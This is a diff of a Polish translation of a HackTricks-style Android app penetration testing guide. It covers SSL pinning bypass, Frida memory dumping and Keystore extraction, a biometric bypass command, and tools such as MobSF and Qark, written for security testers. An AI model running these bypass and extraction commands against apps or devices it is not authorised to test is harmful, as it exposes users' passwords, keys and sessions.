||||
Aplikacje kierowane do **poziomu API 24 i wyższego** wymagają modyfikacji konfiguracji bezpieczeństwa sieciowego, aby zaakceptować certyfikat CA proxy. Ten krok jest kluczowy dla inspekcji zaszyfrowanego ruchu. Aby uzyskać instrukcje dotyczące modyfikacji konfiguracji bezpieczeństwa sieciowego, [**odwołaj się do tego samouczka**](make-apk-accept-ca-certificate.md).
|
||||
|
||||
|
@ -454,31 +454,32 @@ Aplikacje kierowane do **poziomu API 24 i wyższego** wymagają modyfikacji konf
|
|||
Gdy jest wdrożony SSL Pinning, konieczne staje się jego obejście w celu inspekcji ruchu HTTPS. Dostępne są różne metody w tym celu:
|
||||
|
||||
* Automatycznie **zmodyfikuj** **apk**, aby **obejść** SSL Pinning za pomocą [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Główną zaletą tej opcji jest brak konieczności uzyskiwania uprawnień root do obejścia SSL Pinning, ale konieczne będzie usunięcie aplikacji i zainstalowanie nowej, a to nie zawsze zadziała.
|
||||
* Możesz użyć **Frida** (omówiony poniżej), aby ominąć tę ochronę. Oto przewodnik dotyczący korzystania z Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
|
||||
* Możesz użyć **Frida** (omówionego poniżej), aby ominąć tę ochronę. Oto przewodnik dotyczący korzystania z Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
|
||||
* Możesz również spróbować **automatycznie ominąć SSL Pinning** za pomocą [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
|
||||
* Możesz również spróbować **automatycznie ominąć SSL Pinning** za pomocą **analizy dynamicznej MobSF** (wyjaśnionej poniżej)
|
||||
* Jeśli uważasz, że istnieje ruch, którego nie przechwytujesz, możesz spróbować **przekierować ruch do burp za pomocą iptables**. Przeczytaj ten blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
|
||||
|
||||
#### Wyszukiwanie Powszechnych Podatności Sieci Web
|
||||
|
||||
Ważne jest również wyszukiwanie powszechnych podatności sieci web w aplikacji. Szczegółowe informacje dotyczące identyfikacji i łagodzenia tych podatności wykraczają poza zakres tego podsumowania, ale są szeroko omówione gdzie indziej.
|
||||
Ważne jest również wyszukiwanie powszechnych podatności sieci web w aplikacji. Szczegółowe informacje dotyczące identyfikacji i łagodzenia tych podatności wykraczają poza zakres tego podsumowania, ale są szeroko omawiane gdzie indziej.
|
||||
|
||||
### Frida
|
||||
|
||||
[Frida](https://www.frida.re) to dynamiczne narzędzie do instrumentacji dla programistów, inżynierów odwracających i badaczy bezpieczeństwa.\
|
||||
**Możesz uzyskać dostęp do działającej aplikacji i podłączyć metody w czasie rzeczywistym, aby zmienić zachowanie, zmienić wartości, wydobyć wartości, uruchomić inny kod...**\
|
||||
Jeśli chcesz przetestować penetracyjnie aplikacje Android, musisz umieć korzystać z Fridy.
|
||||
Jeśli chcesz przetestować penetrację aplikacji na Androida, musisz umieć korzystać z Fridy.
|
||||
|
||||
* Dowiedz się, jak korzystać z Fridy: [**Samouczek Frida**](frida-tutorial/)
|
||||
* Pewne "GUI" do działań z Fridą: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
|
||||
* Ojection świetnie automatyzuje korzystanie z Fridy: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
|
||||
* Możesz znaleźć niektóre niesamowite skrypty Fridy tutaj: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
|
||||
* Spróbuj ominąć mechanizmy anty-debugowania / anty-Fridy, ładując Fridę, jak wskazano w [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (narzędzie [linjector](https://github.com/erfur/linjector-rs))
|
||||
|
||||
### **Dump Pamięci - Fridump**
|
||||
|
||||
Sprawdź, czy aplikacja przechowuje wrażliwe informacje w pamięci, których nie powinna przechowywać, takie jak hasła lub mnemoniki.
|
||||
|
||||
Korzystając z [**Fridump3**](https://github.com/rootbsd/fridump3) możesz zrzucić pamięć aplikacji za pomocą:
|
||||
Korzystając z [**Fridump3**](https://github.com/rootbsd/fridump3), możesz wykonać zrzut pamięci aplikacji za pomocą:
|
||||
```bash
|
||||
# With PID
|
||||
python3 fridump3.py -u <PID>
|
||||
|
@ -487,7 +488,9 @@ python3 fridump3.py -u <PID>
|
|||
frida-ps -Uai
|
||||
python3 fridump3.py -u "<Name>"
|
||||
```
|
||||
To spowoduje zapisanie pamięci w folderze ./dump, a następnie możesz użyć polecenia grep, na przykład:
|
||||
To spowoduje zrzucenie pamięci do folderu ./dump, a następnie możesz użyć polecenia grep, na przykład:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+$"
|
||||
```
|
||||
|
@ -495,11 +498,11 @@ strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a
|
|||
|
||||
### **Czuje dane w Keystore**
|
||||
|
||||
W systemie Android Keystore jest najlepszym miejscem do przechowywania danych wrażliwych, jednakże przy wystarczających uprawnieniach wciąż jest **możliwe uzyskanie do nich dostępu**. Ponieważ aplikacje mają tendencję do przechowywania tutaj **danych wrażliwych w postaci tekstu jawnego**, testy penetracyjne powinny to sprawdzić, ponieważ użytkownik root lub osoba mająca fizyczny dostęp do urządzenia mogłaby je ukraść.
|
||||
W systemie Android Keystore jest najlepszym miejscem do przechowywania danych wrażliwych, jednakże przy wystarczających uprawnieniach wciąż jest **możliwe uzyskanie do nich dostępu**. Ponieważ aplikacje mają tendencję do przechowywania tutaj **danych wrażliwych w postaci tekstu jawnego**, testy penetracyjne powinny to sprawdzić, ponieważ użytkownik root lub osoba mająca fizyczny dostęp do urządzenia mogą być w stanie ukraść te dane.
|
||||
|
||||
Nawet jeśli aplikacja przechowuje dane w keystore, dane te powinny być zaszyfrowane.
|
||||
|
||||
Aby uzyskać dostęp do danych wewnątrz keystore, można skorzystać z tego skryptu Frida: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js)
|
||||
Aby uzyskać dostęp do danych przechowywanych w keystore, można skorzystać z tego skryptu Frida: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js)
|
||||
```bash
|
||||
frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
|
||||
```
|
||||
|
@ -515,13 +518,13 @@ frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app
|
|||
|
||||
### **Obrazy tła**
|
||||
|
||||
Gdy przeniesiesz aplikację do tła, Android przechowuje **zrzut aplikacji**, więc gdy zostanie przywrócona do pierwszego planu, zaczyna ładować obraz przed aplikacją, dzięki czemu wydaje się, że aplikacja została załadowana szybciej.
|
||||
Gdy przeniesiesz aplikację do tła, Android przechowuje **zrzut aplikacji**, więc gdy zostanie przywrócona do pierwszego planu, zaczyna ładować obraz przed aplikacją, dzięki czemu wydaje się, że aplikacja została wczytana szybciej.
|
||||
|
||||
Jednak jeśli ten zrzut zawiera **wrażliwe informacje**, ktoś mający dostęp do zrzutu może **ukraść te informacje** (zauważ, że potrzebujesz uprawnień roota, aby uzyskać do niego dostęp).
|
||||
|
||||
Zrzuty są zazwyczaj przechowywane w okolicach: **`/data/system_ce/0/snapshots`**
|
||||
|
||||
Android zapewnia sposób **zapobiegania przechwytywaniu zrzutów ekranu poprzez ustawienie parametru układu FLAG\_SECURE**. Korzystając z tego flaga, zawartość okna jest traktowana jako bezpieczna, co zapobiega pojawianiu się jej na zrzutach ekranu lub wyświetlaniu na niezabezpieczonych ekranach.
|
||||
Android zapewnia sposób **zapobiegania przechwytywaniu zrzutów ekranu poprzez ustawienie parametru układu FLAG\_SECURE**. Korzystając z tego flagi, zawartość okna jest traktowana jako bezpieczna, co zapobiega pojawianiu się jej na zrzutach ekranu lub wyświetlaniu na niezabezpieczonych ekranach.
|
||||
```bash
|
||||
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
||||
```
|
||||
|
@ -537,19 +540,19 @@ Niebezpieczeństwo polega na umożliwieniu atakującym wywołania nieeksportowan
|
|||
|
||||
### Podstawowe Wnioski
|
||||
|
||||
* **Wstrzyknięcie Intencji** jest podobne do problemu przekierowania otwartego w sieci web.
|
||||
* Wykorzystanie polega na przekazywaniu obiektów `Intent` jako dodatków, które mogą być przekierowane do wykonania niebezpiecznych operacji.
|
||||
* **Wstrzyknięcie Intencji** jest podobne do problemu przekierowania otwartego w sieci.
|
||||
* Ataki polegają na przekazywaniu obiektów `Intent` jako dodatków, które mogą być przekierowane do wykonania niebezpiecznych operacji.
|
||||
* Może ujawnić nieeksportowane komponenty i dostawców treści atakującym.
|
||||
* Konwersja adresu URL do obiektu `Intent` przez `WebView` może ułatwić niezamierzone działania.
|
||||
* Konwersja adresu URL do obiektu `Intent` w `WebView` może ułatwić niezamierzone działania.
|
||||
|
||||
### Wstrzyknięcia Po Stronie Klienta Androida i inne
|
||||
|
||||
Prawdopodobnie znasz tego rodzaju podatności z sieci web. Musisz być szczególnie ostrożny z tymi podatnościami w aplikacji Android:
|
||||
Prawdopodobnie znasz tego rodzaju podatności z sieci. Musisz być szczególnie ostrożny z tymi podatnościami w aplikacji Android:
|
||||
|
||||
* **Wstrzyknięcie SQL:** Podczas pracy z zapytaniami dynamicznymi lub dostawcami treści upewnij się, że używasz zapytań z parametrami.
|
||||
* **Wstrzyknięcie JavaScript (XSS):** Sprawdź, czy obsługa JavaScriptu i wtyczek jest wyłączona dla wszystkich WebViews (domyślnie wyłączone). [Więcej informacji tutaj](webview-attacks.md#javascript-enabled).
|
||||
* **Wstrzyknięcie JavaScript (XSS):** Upewnij się, że obsługa JavaScriptu i wtyczek jest wyłączona dla wszystkich WebViews (domyślnie wyłączone). [Więcej informacji tutaj](webview-attacks.md#javascript-enabled).
|
||||
* **Lokalne Dołączanie Plików:** WebViews powinny mieć wyłączony dostęp do systemu plików (domyślnie włączony) - `(webview.getSettings().setAllowFileAccess(false);)`. [Więcej informacji tutaj](webview-attacks.md#javascript-enabled).
|
||||
* **Wieczne ciasteczka**: W kilku przypadkach, gdy aplikacja Android kończy sesję, ciasteczko nie jest unieważniane lub może nawet być zapisane na dysku.
|
||||
* **Wieczne ciasteczka:** W kilku przypadkach, gdy aplikacja Android kończy sesję, ciasteczko nie jest unieważniane lub może nawet być zapisane na dysku.
|
||||
* [**Flaga Bezpieczeństwa** w ciasteczkach](../../pentesting-web/hacking-with-cookies/#cookies-flags)
|
||||
|
||||
***
|
||||
|
@ -582,17 +585,17 @@ Bądź na bieżąco z najnowszymi programami nagród za błędy i istotnymi aktu
|
|||
docker pull opensecurity/mobile-security-framework-mobsf
|
||||
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
|
||||
```
|
||||
Zauważ, że MobSF może analizować **aplikacje Android**(apk), **IOS**(ipa) oraz Windows(apx) (_aplikacje Windows muszą być analizowane z MobSF zainstalowanym na hoście z systemem Windows_).\
|
||||
Zauważ, że MobSF może analizować **aplikacje Android**(apk), **IOS**(ipa) **i Windows**(apx) (_aplikacje Windows muszą być analizowane z MobSF zainstalowanym na hoście z systemem Windows_).\
|
||||
Dodatkowo, jeśli utworzysz plik **ZIP** z kodem źródłowym aplikacji **Android** lub **IOS** (przejdź do głównego folderu aplikacji, zaznacz wszystko i utwórz plik ZIP), będzie można go również przeanalizować.
|
||||
|
||||
MobSF pozwala również na **porównywanie analiz** oraz integrację z **VirusTotal** (musisz ustawić swój klucz API w _MobSF/settings.py_ i włączyć go: `VT_ENABLED = TRUE` `VT_API_KEY = <Twój klucz API>` `VT_UPLOAD = TRUE`). Możesz również ustawić `VT_UPLOAD` na `False`, wtedy **hash** zostanie **wysłany** zamiast pliku.
|
||||
MobSF pozwala również na **porównywanie analiz** i integrację z **VirusTotal** (musisz ustawić swój klucz API w _MobSF/settings.py_ i włączyć go: `VT_ENABLED = TRUE` `VT_API_KEY = <Twój klucz API>` `VT_UPLOAD = TRUE`). Możesz również ustawić `VT_UPLOAD` na `False`, wtedy **hash** zostanie **przesłany**, a nie plik.
|
||||
|
||||
### Asystowana analiza dynamiczna z użyciem MobSF
|
||||
### Wspomagana analiza dynamiczna z MobSF
|
||||
|
||||
**MobSF** może być również bardzo pomocny w **analizie dynamicznej** w **Androidzie**, ale w tym przypadku będziesz musiał zainstalować MobSF oraz **genymotion** na swoim hoście (maszyna wirtualna lub Docker nie będą działać). _Uwaga: Musisz **najpierw uruchomić maszynę wirtualną w genymotion** a następnie **MobSF.**_\
|
||||
**MobSF** może być również bardzo pomocny w **analizie dynamicznej** w **Androidzie**, ale w tym przypadku będziesz musiał zainstalować MobSF i **genymotion** na swoim hoście (maszyna wirtualna lub Docker nie zadziała). _Uwaga: Musisz **najpierw uruchomić maszynę wirtualną w genymotion** a następnie **MobSF.**_\
|
||||
Analizator dynamiczny **MobSF** może:
|
||||
|
||||
* **Wyciągać dane aplikacji** (URL-e, logi, schowek, zrzuty ekranu wykonane przez Ciebie, zrzuty ekranu wykonane przez "**Exported Activity Tester**", maile, bazy danych SQLite, pliki XML i inne utworzone pliki). Wszystko to odbywa się automatycznie, z wyjątkiem zrzutów ekranu, musisz nacisnąć, gdy chcesz zrobić zrzut ekranu lub musisz nacisnąć "**Exported Activity Tester**", aby uzyskać zrzuty ekranu wszystkich wyeksportowanych aktywności.
|
||||
* **Wyciągnąć dane aplikacji** (URL-e, logi, schowek, zrzuty ekranu wykonane przez Ciebie, zrzuty ekranu wykonane przez "**Exported Activity Tester**", e-maile, bazy danych SQLite, pliki XML i inne utworzone pliki). Wszystko to odbywa się automatycznie, z wyjątkiem zrzutów ekranu, musisz nacisnąć, gdy chcesz zrobić zrzut ekranu lub musisz nacisnąć "**Exported Activity Tester**", aby uzyskać zrzuty ekranu wszystkich wyeksportowanych aktywności.
|
||||
* Przechwytywać ruch **HTTPS**
|
||||
* Używać **Fridy** do uzyskiwania **informacji w czasie rzeczywistym**
|
||||
|
||||
|
@ -603,25 +606,25 @@ Od wersji **Androida > 5**, automatycznie uruchomi Fridę i ustawia globalne ust
|
|||
Domyślnie będzie również używać niektórych skryptów Fridy do **omijania pinowania SSL**, **wykrywania roota** i **wykrywania debugera** oraz do **monitorowania interesujących API**.\
|
||||
MobSF może również **wywoływać wyeksportowane aktywności**, przechwytywać **zrzuty ekranu** z nich i **zapisywać** je do raportu.
|
||||
|
||||
Aby **rozpocząć** testowanie dynamiczne, naciśnij zielony przycisk: "**Start Instrumentation**". Naciśnij "**Frida Live Logs**", aby zobaczyć logi generowane przez skrypty Fridy oraz "**Live API Monitor**", aby zobaczyć wszystkie wywołania podpiętych metod, przekazane argumenty i zwrócone wartości (to pojawi się po naciśnięciu "Start Instrumentation").\
|
||||
MobSF pozwala również na załadowanie własnych **skryptów Fridy** (aby przesłać wyniki swoich skryptów Fridy do MobSF, użyj funkcji `send()`). Posiada również **kilka gotowych skryptów**, które można załadować (można dodać więcej w `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), po prostu **wybierz je**, naciśnij "**Load**" i naciśnij "**Start Instrumentation**" (będziesz mógł zobaczyć logi tych skryptów wewnątrz "**Frida Live Logs**").
|
||||
Aby **rozpocząć** testowanie dynamiczne, naciśnij zielony przycisk: "**Start Instrumentation**". Naciśnij "**Frida Live Logs**", aby zobaczyć logi generowane przez skrypty Fridy i "**Live API Monitor**", aby zobaczyć wszystkie wywołania podpiętych metod, przekazane argumenty i zwrócone wartości (to pojawi się po naciśnięciu "Start Instrumentation").\
|
||||
MobSF pozwala również na załadowanie własnych **skryptów Fridy** (aby przesłać wyniki swoich skryptów Fridy do MobSF, użyj funkcji `send()`). Posiada również **kilka gotowych skryptów**, które można załadować (możesz dodać więcej w `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), po prostu **wybierz je**, naciśnij "**Load**" i naciśnij "**Start Instrumentation**" (będziesz mógł zobaczyć logi tych skryptów wewnątrz "**Frida Live Logs**").
|
||||
|
||||
![](<../../.gitbook/assets/image (215).png>)
|
||||
|
||||
Ponadto, masz kilka pomocniczych funkcji Fridy:
|
||||
Co więcej, masz kilka pomocniczych funkcji Fridy:
|
||||
|
||||
* **Wymień załadowane klasy**: Wyświetli wszystkie załadowane klasy
|
||||
* **Przechwyć ciągi znaków**: Wyświetli wszystkie przechwycone ciągi znaków podczas korzystania z aplikacji (bardzo hałaśliwe)
|
||||
* **Przechwyć porównania ciągów znaków**: Może być bardzo przydatne. **Pokaże 2 porównywane ciągi znaków** i czy wynik był Prawdziwy czy Fałszywy.
|
||||
* **Przechwyć ciągi**: Wyświetli wszystkie przechwycone ciągi podczas korzystania z aplikacji (bardzo hałaśliwe)
|
||||
* **Przechwyć porównania ciągów**: Może być bardzo przydatne. Pokaże **2 porównywane ciągi** i czy wynik był Prawdziwy czy Fałszywy.
|
||||
* **Wymień metody klasy**: Wprowadź nazwę klasy (np. "java.io.File") i wyświetli wszystkie metody klasy.
|
||||
* **Wyszukaj wzorzec klasy**: Wyszukaj klasy według wzorca
|
||||
* **Śledź metody klasy**: **Śledzi** całą **klasę** (zobacz wejścia i wyjścia wszystkich metod klasy). Pamiętaj, że domyślnie MobSF śledzi kilka interesujących metod Android Api.
|
||||
* **Śledź metody klasy**: **Śledź** całą **klasę** (zobacz wejścia i wyjścia wszystkich metod klasy). Pamiętaj, że domyślnie MobSF śledzi kilka interesujących metod Android Api.
|
||||
|
||||
Po wybraniu modułu pomocniczego, którego chcesz użyć, musisz nacisnąć "**Start Intrumentation**", a wszystkie wyniki zobaczysz w "**Frida Live Logs**".
|
||||
Po wybraniu modułu pomocniczego, którego chcesz użyć, musisz nacisnąć "**Start Intrumentation**", a wszystkie wyniki zostaną wyświetlone w "**Frida Live Logs**".
|
||||
|
||||
**Powłoka**
|
||||
|
||||
MobSF dostarcza również powłokę z kilkoma poleceniami **adb**, poleceniami **MobSF** oraz powszechnymi **poleceniami powłoki** na dole strony analizy dynamicznej. Kilka interesujących poleceń:
|
||||
Mobsf dostarcza również powłokę z kilkoma poleceniami **adb**, **poleceniami MobSF** i powszechnymi **poleceniami powłoki** na dole strony analizy dynamicznej. Kilka interesujących poleceń:
|
||||
```bash
|
||||
help
|
||||
shell ls
|
||||
|
@ -651,13 +654,13 @@ To narzędzie używa pewnych **hooków**, abyś mógł dowiedzieć się, **co dz
|
|||
|
||||
### [Yaazhini](https://www.vegabird.com/yaazhini/)
|
||||
|
||||
To świetne narzędzie do przeprowadzania analizy statycznej z interfejsem graficznym
|
||||
To świetne narzędzie do przeprowadzania analizy statycznej z interfejsem graficznym.
|
||||
|
||||
![](<../../.gitbook/assets/image (527).png>)
|
||||
|
||||
### [Qark](https://github.com/linkedin/qark)
|
||||
|
||||
To narzędzie zostało zaprojektowane do wyszukiwania kilku **związanych z bezpieczeństwem podatności aplikacji na Androida**, zarówno w **kodzie źródłowym**, jak i **spakowanych plikach APK**. Narzędzie to jest również **zdolne do tworzenia "Proof-of-Concept" wdrażalnego pliku APK** oraz **komend ADB**, aby wykorzystać niektóre z odnalezionych podatności (odsłonięte aktywności, intencje, tapjacking...). Podobnie jak w przypadku Drozera, nie ma potrzeby rootowania urządzenia testowego.
|
||||
To narzędzie zaprojektowane do wyszukiwania kilku **związanych z bezpieczeństwem podatności aplikacji na Androida**, zarówno w **kodzie źródłowym**, jak i **spakowanych plikach APK**. Narzędzie to jest również **zdolne do tworzenia "Proof-of-Concept" wdrażalnego pliku APK** oraz **komend ADB**, aby wykorzystać niektóre z odnalezionych podatności (odsłonięte aktywności, intencje, tapjacking...). Podobnie jak w przypadku Drozera, nie ma potrzeby rootowania urządzenia testowego.
|
||||
```bash
|
||||
pip3 install --user qark # --user is only needed if not using a virtualenv
|
||||
qark --apk path/to/my.apk
|
||||
|
@ -691,7 +694,7 @@ super-analyzer {apk_file}
|
|||
|
||||
StaCoAn to narzędzie **wieloplatformowe**, które pomaga programistom, łowcom błędów i etycznym hakerom w przeprowadzaniu [analizy statycznego kodu](https://en.wikipedia.org/wiki/Static\_program\_analysis) aplikacji mobilnych.
|
||||
|
||||
Idea polega na przeciągnięciu i upuszczeniu pliku aplikacji mobilnej (plik .apk lub .ipa) na aplikację StaCoAn, która wygeneruje dla Ciebie raport wizualny i przenośny. Możesz dostosować ustawienia i listy słów, aby uzyskać spersonalizowane doświadczenie.
|
||||
Idea polega na tym, że przeciągasz i upuszczasz plik aplikacji mobilnej (plik .apk lub .ipa) na aplikację StaCoAn, a ta wygeneruje dla Ciebie raport wizualny i przenośny. Możesz dostosować ustawienia i listy słów, aby uzyskać spersonalizowane doświadczenie.
|
||||
|
||||
Pobierz [najnowsze wydanie](https://github.com/vincentcox/StaCoAn/releases):
|
||||
```
|
||||
|
@ -707,7 +710,7 @@ androbugs.exe -f [APK file]
|
|||
```
|
||||
### [Androwarn](https://github.com/maaaaz/androwarn)
|
||||
|
||||
**Androwarn** to narzędzie, którego głównym celem jest wykrywanie i ostrzeganie użytkownika o potencjalnych złośliwych zachowaniach rozwijanych przez aplikację na platformę Android.
|
||||
**Androwarn** to narzędzie, którego głównym celem jest wykrywanie i ostrzeganie użytkownika o potencjalnych zachowaniach złośliwych rozwijanych przez aplikację na platformę Android.
|
||||
|
||||
Wykrycie jest wykonywane poprzez **analizę statyczną** kodu bajtowego Dalvika aplikacji, reprezentowanego jako **Smali**, przy użyciu biblioteki [`androguard`](https://github.com/androguard/androguard).
|
||||
|
||||
|
@ -719,22 +722,22 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
|||
|
||||
![](<../../.gitbook/assets/image (81).png>)
|
||||
|
||||
**MARA** to **M**obile **A**pplication **R**everse engineering and **A**nalysis Framework. Jest to narzędzie, które łączy popularne narzędzia do odwracania inżynierii i analizy aplikacji mobilnych, aby pomóc w testowaniu aplikacji mobilnych pod kątem zagrożeń bezpieczeństwa OWASP. Jego celem jest ułatwienie i przyjazne dla deweloperów aplikacji mobilnych oraz specjalistów ds. bezpieczeństwa.
|
||||
**MARA** to **M**obile **A**pplication **R**everse engineering and **A**nalysis Framework. Jest to narzędzie, które łączy popularne narzędzia do odwracania inżynierii i analizy aplikacji mobilnych, aby pomóc w testowaniu aplikacji mobilnych pod kątem zagrożeń bezpieczeństwa OWASP. Jego celem jest ułatwienie i uczynienie przyjaznym dla deweloperów aplikacji mobilnych oraz specjalistów ds. bezpieczeństwa.
|
||||
|
||||
Może:
|
||||
|
||||
* Wyodrębniać kod Java i Smali za pomocą różnych narzędzi
|
||||
* Wydobywać kod Java i Smali przy użyciu różnych narzędzi
|
||||
* Analizować pliki APK za pomocą: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD)
|
||||
* Wyodrębniać prywatne informacje z pliku APK za pomocą wyrażeń regularnych.
|
||||
* Wydobywać prywatne informacje z pliku APK za pomocą wyrażeń regularnych.
|
||||
* Analizować Manifest.
|
||||
* Analizować znalezione domeny za pomocą: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) i [whatweb](https://github.com/urbanadventurer/WhatWeb)
|
||||
* Deobfuskować APK za pomocą [apk-deguard.com](http://www.apk-deguard.com)
|
||||
* Deobfuskować plik APK za pomocą [apk-deguard.com](http://www.apk-deguard.com)
|
||||
|
||||
### Koodous
|
||||
|
||||
Przydatne do wykrywania złośliwego oprogramowania: [https://koodous.com/](https://koodous.com)
|
||||
|
||||
## Obfuskacja/Deobfuskacja kodu
|
||||
## Obfuskowanie/Deobfuskowanie kodu
|
||||
|
||||
Zauważ, że w zależności od usługi i konfiguracji użytej do obfuskacji kodu, tajemnice mogą być lub nie być obfuskowane.
|
||||
|
||||
|
@ -758,7 +761,7 @@ Znajdź przewodnik krok po kroku do deobfuskacji pliku APK na stronie [https://b
|
|||
|
||||
### [DeGuard](http://apk-deguard.com)
|
||||
|
||||
**DeGuard odwraca proces obfuskacji wykonywanej przez narzędzia obfuskacji Androida. Umożliwia to wiele analiz związanych z bezpieczeństwem, w tym inspekcję kodu i przewidywanie bibliotek.**
|
||||
**DeGuard odwraca proces obfuskacji wykonywany przez narzędzia obfuskacji Androida. Umożliwia to przeprowadzenie licznych analiz bezpieczeństwa, w tym inspekcję kodu i przewidywanie bibliotek.**
|
||||
|
||||
Możesz przesłać zobfuskowany plik APK na ich platformę.
|
||||
|
||||
|
@ -768,11 +771,11 @@ To **ogólny deobfuskator Androida.** Simplify **wirtualnie wykonuje aplikację*
|
|||
|
||||
### [APKiD](https://github.com/rednaga/APKiD)
|
||||
|
||||
APKiD dostarcza informacje na temat **sposobu tworzenia pliku APK**. Identyfikuje wiele **kompilatorów**, **pakowaczy**, **obfuskatorów** i innych dziwnych rzeczy. To jest [_PEiD_](https://www.aldeid.com/wiki/PEiD) dla Androida.
|
||||
APKiD dostarcza informacje na temat **sposobu tworzenia pliku APK**. Identyfikuje wiele **kompilatorów**, **pakowaczy**, **obfuskatorów** i innych dziwnych rzeczy. Jest to [_PEiD_](https://www.aldeid.com/wiki/PEiD) dla Androida.
|
||||
|
||||
### Manual
|
||||
|
||||
[Zobacz ten samouczek, aby nauczyć się kilku sztuczek na temat **jak odwrócić niestandardową obfuskację**](manual-deobfuscation.md)
|
||||
[Zobacz ten samouczek, aby nauczyć się kilku sztuczek dotyczących **odwracania niestandardowej obfuskacji**](manual-deobfuscation.md)
|
||||
|
||||
## Laboratoria
|
||||
|
||||
|
@ -780,7 +783,7 @@ APKiD dostarcza informacje na temat **sposobu tworzenia pliku APK**. Identyfikuj
|
|||
|
||||
AndroL4b to maszyna wirtualna zabezpieczeń Androida oparta na ubuntu-mate, zawierająca najnowsze frameworki, samouczki i laboratoria od różnych maniaków bezpieczeństwa i badaczy do odwracania inżynierii i analizy złośliwego oprogramowania.
|
||||
|
||||
## Referencje
|
||||
## Odnośniki
|
||||
|
||||
* [https://owasp.org/www-project-mobile-app-security/](https://owasp.org/www-project-mobile-app-security/)
|
||||
* [https://appsecwiki.com/#/](https://appsecwiki.com/#/) To świetna lista zasobów
|
||||
|
@ -798,11 +801,11 @@ AndroL4b to maszyna wirtualna zabezpieczeń Androida oparta na ubuntu-mate, zawi
|
|||
|
||||
Dołącz do [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hakerami i łowcami błędów!
|
||||
|
||||
**Spojrzenia na Hacking**\
|
||||
**Spostrzeżenia dotyczące Hackingu**\
|
||||
Zajmij się treściami, które zagłębiają się w emocje i wyzwania hackowania
|
||||
|
||||
**Aktualności Hackingu na Żywo**\
|
||||
Bądź na bieżąco z szybkim tempem świata hackowania dzięki aktualnościom i spojrzeniom na żywo
|
||||
**Aktualności dotyczące Hackingu na Żywo**\
|
||||
Bądź na bieżąco z szybkim tempem świata hackowania dzięki aktualnym wiadomościom i spostrzeżeniom
|
||||
|
||||
**Najnowsze Ogłoszenia**\
|
||||
Bądź na bieżąco z najnowszymi programami bug bounty i istotnymi aktualizacjami platformy
|
||||
|
@ -818,7 +821,7 @@ Inne sposoby wsparcia HackTricks:
|
|||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub grupy [**telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na githubie.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,7 +6,7 @@
|
|||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
